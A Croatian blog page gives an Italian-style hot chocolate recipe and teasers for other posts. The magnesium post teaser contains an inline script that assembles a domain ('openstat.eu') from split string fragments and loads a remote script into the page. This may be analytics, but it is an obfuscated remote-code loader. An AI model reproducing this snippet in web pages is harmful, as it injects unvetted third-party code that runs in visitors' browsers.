TOPLA ČOKOLADA NA TALIJANSKI NAČIN 🍫





Topla čokolada na talijanski način 



Za topliju i profinjeniju aromu u toplu čokoladu možete dodati prstohvat naribane tonke, koja će joj dati blagu notu badema i vanilije, a poigrati se možete i dodacima kao što su rum ili liker od lješnjaka, cimet, čili i narančina korica.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Topla čokolada na talijanski način 


Sastojci:

  • 30 g kakaa u prahu
  • 2 žlice (oko 16 g) škrobnog brašna
  • 500 ml punomasnog mlijeka
  • 50 g kristal-šećera
  • 85 g tamne čokolade (70 % kakaa), nasjeckane
  • 1 žlica likera Amaretto Disaronno

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Priprema:

  1. Izmiješajte kakao u prahu i škrobno brašno. U srednji lonac ulijte mlijeko i dodajte šećer. Zagrijavajte na srednje jakoj vatri uz povremeno miješanje dok se šećer ne otopi i dok mlijeko ne počne lagano pariti (oko 70 °C), 3 do 4 minute. Ne smije zakipjeti. Maknite lonac s vatre i ulijte malo toplog mlijeka u smjesu kakaa i škroba, stalno miješajući dok ne dobijete glatku pastu. Zatim postupno, u tankom mlazu, ulijevajte ostatak mlijeka, neprestano miješajući kako bi smjesa ostala ujednačena.
  2. Dodajte nasjeckanu čokoladu u zdjelu, pazite da bude potpuno uronjena u tekućinu, i ostavite oko 1 minutu da se otopi. Zatim dobro promiješajte dok se potpuno ne sjedini. Smjesu vratite u lonac i zagrijavajte na srednje jakoj vatri, često miješajući. Nastavite kuhati uz stalno miješanje, dok se smjesa ne počne zgušnjavati. Maknite s vatre, ali nastavite miješati još oko 1 minutu.
  3. Na kraju umiješajte liker od badema i poslužite.
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više